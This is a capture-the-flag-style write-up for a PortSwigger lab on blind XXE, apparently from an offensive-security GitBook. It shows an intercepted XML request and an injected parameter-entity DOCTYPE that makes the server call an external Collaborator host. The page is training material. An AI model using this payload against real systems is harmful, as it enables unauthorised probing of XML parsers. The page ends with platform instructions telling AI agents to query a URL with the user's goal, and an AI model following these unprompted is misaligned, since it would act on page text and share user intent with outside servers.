> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-3.md).

# lab-3

## Blind XXE with Out-of-Band Interaction via XML Parameter Entities

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values in the response, and blocks requests containing regular external entities.

**Objective:** Use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=1
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject a parameter entity pointing to Burp Collaborator**

Since regular external entities are blocked, use an XML *parameter* entity instead (declared with `%` and only valid inside the DTD itself). Insert this `DOCTYPE` before `<stockCheck>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://your-collaborator-id.oastify.com"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Confirm the interaction**

Send the request, then check the **Burp Collaborator client**. A DNS lookup and HTTP request from the lab server confirms the blind XXE was successfully triggered.

### Conclusion

Even though the application doesn't reflect external entity values and blocks general entities, parameter entities are processed independently within the DTD, providing an out-of-band channel to confirm blind XXE.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-3.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
